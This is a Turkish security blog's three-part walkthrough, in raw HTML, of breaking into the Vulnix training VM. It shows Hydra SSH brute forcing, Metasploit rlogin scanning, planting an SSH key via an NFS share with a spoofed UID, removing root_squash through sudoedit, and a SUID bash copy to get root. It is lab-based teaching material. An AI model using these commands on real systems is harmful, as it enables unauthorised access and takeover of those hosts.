AG Test: putty

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #3

<br /><h3><span style="color: #cc0000;">4. Yetki Yükseltme</span></h3><div class="MsoListParagraph"><div style="text-align: justify;"><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s1600/vulnix.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s320/vulnix.png" width="320" /></a>Hedef sisteme belirtilen hesap ile SSH erişimi sağladıktan sonraki hedef sistem üzerindeki yetki seviyesini artırmak ya da diğer tabiri ile root olmak olacaktır. Bunun için öncelikle eldeki hesabın neler yapabildiğinin belirlenmesi gerekmektedir. Bunun için <b><span style="font-family: Courier New, Courier, monospace;">sudo -l</span></b> komutundan faydalanılabilir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR_4vRKOzHy5dSIVQu3rBZaiDGXPardgMTO5Sn1afbn34HPx7QUubXvMTXlDQFIXRDstYE2ZMNlmHxN_cyBu5vizoev6sQAJwLOc91giJ4b2G-Itc9xoqF6kNtfsOtsUKlClZKEgt2sSv0/s1600/2013-08-24_224114.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="102" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR_4vRKOzHy5dSIVQu3rBZaiDGXPardgMTO5Sn1afbn34HPx7QUubXvMTXlDQFIXRDstYE2ZMNlmHxN_cyBu5vizoev6sQAJwLOc91giJ4b2G-Itc9xoqF6kNtfsOtsUKlClZKEgt2sSv0/s640/2013-08-24_224114.png" width="640" /></a></div><div style="text-align: justify;">Komut çıktısına dair ekran görüntüsünde de görüldüğü gibi, vulnix kullanıcısının <b>/etc/exports</b> dosyasını root hakları ile parolasız olarak düzenleme hakkı vardır. Dosya içeriğine bakıldığında NFS paylaşımının <b>root_squash</b> opsiyonuyla yapıldığı yani NFS paylaşımına uzak makinadan root hakları ile bağlanılsa dahi paylaşım üzerinde root gibi işlem yapılamayacağı görülmektedir.</div><div style="text-align: justify;">Aşağıdaki komut ile ilgili dosyaya erişerek belirtilen bu opsiyonu etkisiz hale getirmek ve paylaşım üzerinde root haklarıyla işlem yapmak mümkün olmaktadır.</div><h4>vulnix@vulnix:~$ sudoedit /etc/exports</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixYaUrsXtzUWuOub1Ti4mz8I101aZCX4u5FiHLnXBqTh-iTNkDJb7A_3kTLMTPE0C4A-kEhHrz9awFENXuPV8ztI6RSKtgOvi0WJsjIJhsHhnIs5WEtkbUwgTQve6bo77kLOn2BN28oKDE/s1600/2013-08-24_224341.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixYaUrsXtzUWuOub1Ti4mz8I101aZCX4u5FiHLnXBqTh-iTNkDJb7A_3kTLMTPE0C4A-kEhHrz9awFENXuPV8ztI6RSKtgOvi0WJsjIJhsHhnIs5WEtkbUwgTQve6bo77kLOn2BN28oKDE/s1600/2013-08-24_224341.png" /></a></div><div><div style="text-align: justify;">Değiştirilen yapılandırmaların geçerli olması NFS servisi yeniden başlatılmalıdır. Vulnix hesabı sınırlı bir hesap olduğu için öncelikle paylaşım BT5 üzerinden umount edildikten sonra Vulnix sanal makinası yeniden başlatılmalıdır.</div></div><h4>root@agguvenligi:~# umount /mnt/nfs</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkmbz7vT5BwXAPWkjB0MuX9vD_JUB37xFtar7UPgoR9GyEK9x22f8gSdb9n0U1Z0yV2wvAgf3UoTY-qnYkrdeum71MAD9Wt5IfifHKtjnAoi7nF9w0cMAxakl6B66WykEs6-g9zBXRnBo0/s1600/2013-08-24_224833.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkmbz7vT5BwXAPWkjB0MuX9vD_JUB37xFtar7UPgoR9GyEK9x22f8gSdb9n0U1Z0yV2wvAgf3UoTY-qnYkrdeum71MAD9Wt5IfifHKtjnAoi7nF9w0cMAxakl6B66WykEs6-g9zBXRnBo0/s1600/2013-08-24_224833.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Sunucu tekrar başladıktan sonra BT5 üzerinden NFS paylaşımına tekrar erişim sağlanır. Dizin içeriği listelenmeye çalışıldığında eskisinin aksine artık sorunsuz bir şekilde dizin içinde dosyaların listelendiği görülmektedir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9b9fWujpsxVUS9c5QYYVkBgO-HHqFaNmGU3DTRqZk-l00PkSuybrDfbMcTnQmZw6zn1DCOFnX80ybrPlf0EAs5yO39EZnFl9Q8IZQzGfwSDR5M2QQlQ6I_Oj5ja4ZE9G9TjIVsjbq0X_r/s1600/2013-08-24_225146.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9b9fWujpsxVUS9c5QYYVkBgO-HHqFaNmGU3DTRqZk-l00PkSuybrDfbMcTnQmZw6zn1DCOFnX80ybrPlf0EAs5yO39EZnFl9Q8IZQzGfwSDR5M2QQlQ6I_Oj5ja4ZE9G9TjIVsjbq0X_r/s1600/2013-08-24_225146.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Sistem üzerinden shell almak için BT5 üzerinden bash çalıştırılabilir dosyası hakları 4777 olacak şekilde hedefe kopyalanır. Burada dosyaya herkes tarafında yazma-okuma-çalıştırma hakları verilmiş olup ayrıca çalıştırana dosya sahibinin haklarıyla işlem yapmasını sağlayacak şekilde (örneğimizde root) SUID biti etkin duruma getirilmiştir. Bunun için aşağıdaki komutlar kullanılabilir.</div><h4>root@agguvenligi:/mnt/nfs# cp /bin/bash .<br />root@agguvenligi:/mnt/nfs# chmod 4777 bash </h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6eUyE1wohqSGvqxjf5y7aAodYlPcVHLDDrFqvdOPaRV3pZsKtrjFffF3z9mBvNe08r6lMELROdVHsq_6znJXxfw3S4iyCRMJXkFQLt3rvLSoBEmYMwsgNa8ow9ZNBotAbg0CLSbNh9w5c/s1600/2013-08-24_225358.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6eUyE1wohqSGvqxjf5y7aAodYlPcVHLDDrFqvdOPaRV3pZsKtrjFffF3z9mBvNe08r6lMELROdVHsq_6znJXxfw3S4iyCRMJXkFQLt3rvLSoBEmYMwsgNa8ow9ZNBotAbg0CLSbNh9w5c/s1600/2013-08-24_225358.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Son adımda daha öncede yapıldığı gibi vulnix kullanıcısı ile hedef sisteme SSH bağlantısı kurulmalıdır. Sonrasında hedefe kopyalamış olduğumuz bash kabuğu çalıştırılarak root kullanıcısının ev dizininde yer alan bayrak dosyası trophy.txt ve içeriğine erişim sağlanabildiği görülebilir.</div><blockquote class="tr_bq"><div style="text-align: justify;"><span style="color: #a64d79;">Vulnix makinesi 32bit işletim sistemine sahip olduğu için üzerine kopyalanan bash dosyası da 32bit olmalıdır. Aksi halde -bash: ./bash: cannot execute binary file şeklinde bir hata ile karşılaşılacaktır.</span></div></blockquote><h4>root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh/id_rsa vulnix@192.168.1.101<br />vulnix@vulnix:~$ ./bash -p<br />bash-4.2# id<br />bash-4.2# cat /root/trophy.txt </h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjty0sFDBSkjNgGsdnQl0gaPZxuq0jQiZE7yqa9NBy7WAGX9lNHdjMIuGYsjOv-wTeJiUMa7WDYJ00Wqi8y8cOSygXacrTVPllkMW5G4sQGtXgwsFFs2jZ2f3NQngJj1O6vZDWummmO9JIc/s1600/2013-08-24_230832.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="547" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjty0sFDBSkjNgGsdnQl0gaPZxuq0jQiZE7yqa9NBy7WAGX9lNHdjMIuGYsjOv-wTeJiUMa7WDYJ00Wqi8y8cOSygXacrTVPllkMW5G4sQGtXgwsFFs2jZ2f3NQngJj1O6vZDWummmO9JIc/s640/2013-08-24_230832.png" width="640" /></a></div></div>

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #3

4. Yetki Yükseltme Hedef sisteme belirtilen hesap ile SSH erişimi sağladıktan sonraki hedef sistem üzerindeki yetki seviyesini artırmak ya d...

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #2

<br /><h3><span style="color: #cc0000;">3. Sızma Denemesi</span></h3><h3>a. SSH</h3><div style="text-align: justify;"><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s1600/vulnix.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s320/vulnix.png" width="320" /></a>İlk giriş denemesi SSH servisine yönelik kaba kuvvet saldırısı ile gerçekleştirilebilir. BT5 üzerinde bu tür saldırılarda kullanılabilecek örnek bir sözlük <b><i>/pentest/passwords/wordlists</i></b> dizini altında bulunmaktadır. Bunun yerine kendi oluşturduğunuz bir sözlüğü kullanmanız da mümkündür.<br /><br /></div><div style="text-align: justify;"><b>Hydra </b>aracı bu tür saldırılar için kullanılabilecek performanslı bir araçtır. Aşağıdaki şekilde Vulnix üzerinde uygulanabilir.</div><h4>root@agguvenligi:~# cd /pentest/passwords/wordlists/<br />root@agguvenligi:/pentest/passwords/wordlists# hydra -L darkc0de.lst -P darkc0de.lst -S 192.168.1.101 ssh</h4>Komut çalıştırıldıktan sonra bulunan kullanıcı adı ve parola bilgisi aşağıdaki gibi gözükmektedir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip5fdMwckUAVQoA-thn0LF7A-DLNp9WN7wlXTqNtEMCHhrC_BFsoKYNFEP8ZAvEHNb-aMo0AxIbPSoVNpyNcAbO4-mgVYM9AsOTCtT0zTrQ-GLlLEW2HNBzp0c5PpYlMhSv-ETgwNbmdg6/s1600/2013-08-24_210224.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip5fdMwckUAVQoA-thn0LF7A-DLNp9WN7wlXTqNtEMCHhrC_BFsoKYNFEP8ZAvEHNb-aMo0AxIbPSoVNpyNcAbO4-mgVYM9AsOTCtT0zTrQ-GLlLEW2HNBzp0c5PpYlMhSv-ETgwNbmdg6/s1600/2013-08-24_210224.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><h3>b. RLOGIN</h3><div style="text-align: justify;">Vulnix üzerinde açık olduğunu belirlenen bir diğer serviste Rlogin servisidir. Bu servis doğru kullanıcı adının bilinmesi halinde parolasız olarak sisteme erişim yetkisi veren tehlikeli olabilecek bir servistir. Bir önceki adımda elde edilen SSH bilgileri ile sisteme erişildiğinde <b>user </b>kullanıcısının sisteme Rlogin ile erişme hakkının olduğu görülebilir.</div><div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWWRQbB8Ilw6mMobOtV4JDrBn3oxThTlIhLlgkbYeJnTQoWEH2TvO0ghxBNR18LyEhLVuddIAAs39ey_LWymZ5cwWzjJoNzsFpEYQ-nQxQiNY0NfeUFOuUZy-DxiqDsw5XN2ntaOR3D63/s1600/2013-08-24_210801.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWWRQbB8Ilw6mMobOtV4JDrBn3oxThTlIhLlgkbYeJnTQoWEH2TvO0ghxBNR18LyEhLVuddIAAs39ey_LWymZ5cwWzjJoNzsFpEYQ-nQxQiNY0NfeUFOuUZy-DxiqDsw5XN2ntaOR3D63/s400/2013-08-24_210801.png" width="400" /></a></div>Bu servise yönelik sözlük saldırısı için Metasploit içerisindeki mevcut modüllerden biri olan <b><i>auxiliary/scanner/rservices/rlogin_login</i></b> modülü de kullanılabilir. Kullanımı şu şekildedir:</div><div style="text-align: justify;"><h4 style="text-align: start;">msf > use auxiliary/scanner/rservices/rlogin_login<br />msf auxiliary(rlogin_login) > set RHOSTS 192.168.1.101<br />msf auxiliary(rlogin_login) > run</h4>Metasploit modülü ile de bulunan user kullanıcısının Vulnix sisteme rlogin yapabilmesi için PuTTY üzerinde aşağıdaki adımlar takip edilebilir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBuNtLMUxq0bBvODuKNSFa7BJmZBLMpv_mmYH-BTOfd4mKJATm2n28O9yjdN3KXeEpFeFKXnvUNz4Og66fH6XtUJ-AMDU6QbMzWLSbSSnrFkREvfnYWIZKerMDo0yG_KagJtHcdozhwdbR/s1600/2013-08-24_211252.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBuNtLMUxq0bBvODuKNSFa7BJmZBLMpv_mmYH-BTOfd4mKJATm2n28O9yjdN3KXeEpFeFKXnvUNz4Og66fH6XtUJ-AMDU6QbMzWLSbSSnrFkREvfnYWIZKerMDo0yG_KagJtHcdozhwdbR/s320/2013-08-24_211252.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge93_O3l4QGSsK_MNlkbJPVd7PjPCu5P-BrsbNpEcvzvG4ncgumwz7l8pwWZ5wHP4wRQqE5Zyn229kdy375m-u2tGzVGXg7pCmXECjYdB8Hf4VlksMYQYPro8Z6wWlHN-RkI7qrgdNvTLW/s1600/2013-08-24_211448.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge93_O3l4QGSsK_MNlkbJPVd7PjPCu5P-BrsbNpEcvzvG4ncgumwz7l8pwWZ5wHP4wRQqE5Zyn229kdy375m-u2tGzVGXg7pCmXECjYdB8Hf4VlksMYQYPro8Z6wWlHN-RkI7qrgdNvTLW/s320/2013-08-24_211448.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvA_b_ez-b0Q2cm08xBmEcUs2MxfRyxWXCszVrRQL2jVZpP8sFCAGBqS1v5QBhTgkQDY2X-Jde3puJhLBl9CGSewcjONI5E6tC1JtHp9MjG6D-tVBXFX778fuXp5u_P8O_mAlI8n4HxqKj/s1600/2013-08-24_211520.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvA_b_ez-b0Q2cm08xBmEcUs2MxfRyxWXCszVrRQL2jVZpP8sFCAGBqS1v5QBhTgkQDY2X-Jde3puJhLBl9CGSewcjONI5E6tC1JtHp9MjG6D-tVBXFX778fuXp5u_P8O_mAlI8n4HxqKj/s320/2013-08-24_211520.png" width="320" /></a></div></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><h3>c. NFS</h3><div class="MsoListParagraph" style="text-align: justify;">Son giriş kapısı olarak NFS (Ağ Dosya Paylaşımı) servisini inceleyeceğiz. İlk olarak Kali üzerinden hedef sistemin paylaşımda neler sunduğu sorgulanabilir. Bunun için aşağıdaki komut kullanılabilir.<o:p></o:p></div><h4>root@agguvenligi:~# showmount -e 192.168.1.101</h4><div class="separator" style="clear: both; text-align: center;"></div><div class="MsoListParagraph" style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipKJsxcDjs3rsJBrh1K-yLjfErqPYZLbU59LSY4O__xmCgwC5dDgBAtnQTjo4jNNL7Ktls57RFd0bGOcAeeGO55s2PQGEAUEzWwyiSj3LIc5sGwfbYJ6pcHxVKarM9vUV2wBr9QFU0zQjq/s1600/2013-08-24_211750.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipKJsxcDjs3rsJBrh1K-yLjfErqPYZLbU59LSY4O__xmCgwC5dDgBAtnQTjo4jNNL7Ktls57RFd0bGOcAeeGO55s2PQGEAUEzWwyiSj3LIc5sGwfbYJ6pcHxVKarM9vUV2wBr9QFU0zQjq/s1600/2013-08-24_211750.png" /></a></div>Bu çıktı, vulnix kullanıcısının ev dizininin paylaşıma açık olduğu anlamına gelmektedir. Paylaşıma açık bu dizini Kali üzerine bağlamak için aşağıdaki komut kullanılabilir.</div><h4>root@agguvenligi:~# mkdir /mnt/nfs<br />root@agguvenligi:~# mount 192.168.1.101:/home/vulnix /mnt/nfs</h4><div class="MsoListParagraph" style="text-align: justify;">Sonraki adımda bu dizine erişilmek istenildiğinde <b><i>"Permission Denied"</i></b> hatası alınacaktır. Bu hata paylaşılan dizini sunan kullanıcı ile aynı UID değerine sahip kullanıcının BT5 üzerinde bulunmamasından kaynaklanmaktadır.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig_kyYThyMpMPlm-Bbe1il97mQGyLc7Fa-kcIAnCFlRB3NITac9Mr99W234tvlm-SXZwHn2MT1pjtG9TOCdmrccA0wxCKpyxrnKeVfAo_fMs6sSzWo13hgOgZtAbhzixcg9LGo5eOIp9Ie/s1600/2013-08-24_222137.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig_kyYThyMpMPlm-Bbe1il97mQGyLc7Fa-kcIAnCFlRB3NITac9Mr99W234tvlm-SXZwHn2MT1pjtG9TOCdmrccA0wxCKpyxrnKeVfAo_fMs6sSzWo13hgOgZtAbhzixcg9LGo5eOIp9Ie/s1600/2013-08-24_222137.png" /></a></div>Bu hatayı aşmak için görülen UID değerinde <b>(2008)</b> BT5 üzerinde yeni bir kullanıcı oluşturulmalıdır.</div><h4>root@agguvenligi:~# useradd agguvenligi -u 2008<br />root@agguvenligi:~# su - agguvenligi</h4><div class="MsoListParagraph" style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisHCVlTD0azwxV5OYtOe15d2AgWh36gkGcMSRSN-P6FgotR0HF__fCz3FI19dEJVIuJUakStVhLtOXx9p-fFHyIqQ3gn-USitYuUipy6HS7jjnFydysk6STcMrOsdYZKY48UwHhm0863TD/s1600/2013-08-24_222515.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisHCVlTD0azwxV5OYtOe15d2AgWh36gkGcMSRSN-P6FgotR0HF__fCz3FI19dEJVIuJUakStVhLtOXx9p-fFHyIqQ3gn-USitYuUipy6HS7jjnFydysk6STcMrOsdYZKY48UwHhm0863TD/s1600/2013-08-24_222515.png" /></a></div>Bu aşamadan sonra ilgili klasöre erişilebildiği görülebilecektir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAPsTj-cNxjql3gLHd3x21QFjA62w-TtuWGjRu35sUnJoUp_6TMyZpLN1IJ6p7zkEBIgf5bLqdPuWUK5I56tiKykVjLGEGlx4xRrt5RZzmiXOJ3cPgYJTndGX8cf6auOdL_iTsUWcODmGe/s1600/2013-08-24_222645.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAPsTj-cNxjql3gLHd3x21QFjA62w-TtuWGjRu35sUnJoUp_6TMyZpLN1IJ6p7zkEBIgf5bLqdPuWUK5I56tiKykVjLGEGlx4xRrt5RZzmiXOJ3cPgYJTndGX8cf6auOdL_iTsUWcODmGe/s1600/2013-08-24_222645.png" /></a></div>Bağlanan dizin Vulnix kullanıcısının ev dizini olduğu için altında <b>.ssh</b> dizini oluşturarak BT5 üzerinde oluşturulacak public/private anahtar çiftinin bu dizine kopyalanması ile sonrasında parolasız olarak sisteme erişim sağlanabilir.</div><div class="MsoListParagraph" style="text-align: justify;">Bunun için öncelikle BT5 üzerinde anahtar çiftinin oluşturulması gerekir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr56zFHNOi4mvXERo-VIaID4IzcNtrXmWFejG_t2KTWg4tfC6PlTz3GHbMlEuTErmWrsXoM_ioRaO244txu0l6rnYUWIbm8py7JY7tk0I2vikJi3Do86qiz7V1X3duHaR_6WRuYdyeEvhX/s1600/2013-08-24_223119.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr56zFHNOi4mvXERo-VIaID4IzcNtrXmWFejG_t2KTWg4tfC6PlTz3GHbMlEuTErmWrsXoM_ioRaO244txu0l6rnYUWIbm8py7JY7tk0I2vikJi3Do86qiz7V1X3duHaR_6WRuYdyeEvhX/s1600/2013-08-24_223119.png" /></a></div>Aşağıdaki komut ile birlikte oluşturulan anahtar Vulnix makinesinin içerisine kopyalanır.</div><h4>agguvenligi@agguvenligi:/$ cat .ssh/id_rsa.pub > /mnt/nfs/.ssh/authorized_keys</h4><div class="MsoListParagraph" style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-7QdpUZNasoXZ-Wed9R9OmB38_uIogCmFq9Rl4ojuB6GvqMtuG56t3eWqRJqbpcVSl_dZz0D8oKrYUetQlHyETC6TxNj6V8C2ZtUbhNcdYjCw2e2OL-Z82YWGmU6YvAhwedsPQJhGNbo0/s1600/2013-08-24_223326.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="52" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-7QdpUZNasoXZ-Wed9R9OmB38_uIogCmFq9Rl4ojuB6GvqMtuG56t3eWqRJqbpcVSl_dZz0D8oKrYUetQlHyETC6TxNj6V8C2ZtUbhNcdYjCw2e2OL-Z82YWGmU6YvAhwedsPQJhGNbo0/s640/2013-08-24_223326.png" width="640" /></a></div>Anahtar kopyalandıktan sonra aşağıdaki gibi bir komutla sisteme anahtar dosyası ile parola bilmeksizin bağlanılabilir.</div><h4>root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh//id_rsa vulnix@192.168.1.101</h4><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvTSqNJd0VYNWyyCUiq9yU-maNs1z2r2Fkn2YBVDNecjxyb3Stc1P24h7EBb4RXlkMX9RNZPkxTTs3NeVUDoLlzeoAx1h3u80YQw1b5ijYc_g-G1otw7cOFYHjpHwiwvpznmDHWvZ4RADc/s1600/2013-08-24_223720.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvTSqNJd0VYNWyyCUiq9yU-maNs1z2r2Fkn2YBVDNecjxyb3Stc1P24h7EBb4RXlkMX9RNZPkxTTs3NeVUDoLlzeoAx1h3u80YQw1b5ijYc_g-G1otw7cOFYHjpHwiwvpznmDHWvZ4RADc/s1600/2013-08-24_223720.png" /></a></div>

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #2

3. Sızma Denemesi a. SSH İlk giriş denemesi SSH servisine yönelik kaba kuvvet saldırısı ile gerçekleştirilebilir. BT5 üzerinde bu tür saldır...

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #1

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZQbCHLejER9rbSQoK2kiIWz8sWKl2Bl_FL0cBCpIP_TE5yd77ypa3dkhiXlDvNy6VdgJcBgtEZyZlGyZybfwY3YLz5DsF_DqWpRZLhyCKvabQeLlVS2RW2qwNKTPPO5dkIPa5EH3u8C2D/s1600/vulnix.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZQbCHLejER9rbSQoK2kiIWz8sWKl2Bl_FL0cBCpIP_TE5yd77ypa3dkhiXlDvNy6VdgJcBgtEZyZlGyZybfwY3YLz5DsF_DqWpRZLhyCKvabQeLlVS2RW2qwNKTPPO5dkIPa5EH3u8C2D/s320/vulnix.png" width="320" /></a></div><div style="text-align: justify;">Zafiyet tarama ve bulunan zafiyetlerin sızma testleri ile doğrulanması güvenliğe proaktif açıdan bakılmasının en önemli sonuçlarındandır. Burada amaçlanan zafiyetlerin tespiti ve bunların kullanılması ile birlikte muhtemel false-positive'lerin ayıklanması ve önem seviyesi çok daha yüksek hedeflere yetkili erişimin sağlanması, dolayısıyla kötü niyetli saldırganların yapabileceklerinin bir benzetiminin ortaya konulmasıdır.</div><div style="text-align: justify;">Bu blog notunda, kurumsal ortamlarda her ne kadar Windows sistemlere nazaran çok daha sınırlı kullanım alanına sahip olsa da veritabanı, middleware vb. için sıklıkla tercih edilen Linux sistemler üzerinde örnek bir sızma testinin nasıl gerçekleştirilebileceğine değinilecektir.</div><div style="text-align: justify;">Linux sistemleri için sızma sürecinde ilk hedef, sisteme bir şekilde giriş hakkı elde etmektir. Bu işlem tamamlandıktan sonra mevcut kullanıcının haklarının arttırılması amaçlanır. Örneğin çekirdek (kernel) sürümünün incelenerek hak yükseltmeye imkan tanıyan zafiyetlerinin belirlenmesi ve varsa kullanılarak root haklarına erişilmesi en klasik yollardan biridir.</div><div style="text-align: justify;">Burada üzerinde çalışılacak <b>Vulnix </b>dağıtımı 10/09/12 tarihinde yayınlanmış olup üzerinde belirli açıklıkları barındıran eğitim amaçlı bir Ubuntu dağıtımıdır. Genel özellikleri aşağıdaki gibi olup imaj <a href="http://www.rebootuser.com/wp-content/uploads/vulnix/Vulnix.7z" target="_blank">bağlantıdan </a>temin edilebilir. CTF uygulaması olarak düşünülebilecek bu imajda asıl amaç <b><i>/root</i></b> dizini altında bulunan trophy dosyasının içeriğine erişmektedir.</div><blockquote class="tr_bq"><span style="color: #a64d79;">Mimari: x86<br />Biçim: VMware (vmx & vmdk)<br />RAM: 512MB<br />Network: NAT<br />Boyutu: 194MB – 7zip<br />Çıkarılmış hali: 820MB</span></blockquote><div style="text-align: justify;">Sızma testi boyunca Backtrack5r3 Linux dağıtımı ve üzerindeki araçlar kullanılacaktır. BT5 imajına <a href="http://www.backtrack-linux.org/downloads/" target="_blank">bağlantıdan </a>erişebilirsiniz.</div><div style="text-align: justify;">Vulnix imajı temin edilip sıkıştırılmış halinden çıkarıldıktan sonra VMWare Workstation üzerinde <b><i>File>Open</i></b> sonrası çıkan menüde <b>Vulnix.vmx</b> dosyasının yolu belirtilerek çalıştırılır. Veya bu dosyayı doğrudan çift tıklayarak ta açabilirsiniz.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3Wb7X65MWVsXUEP7yewA8oTRPtBqqy5_M85wcvGZGb9RzxCqTzzf8eJy52GdYxHXaFT2NhZ9X9648uS8Cpcv87A7hy48I7FTsJ3hLK4Ln3x-1PJfRiRVBgvAWv7EeSEDl_FrOdifs4775/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="206" 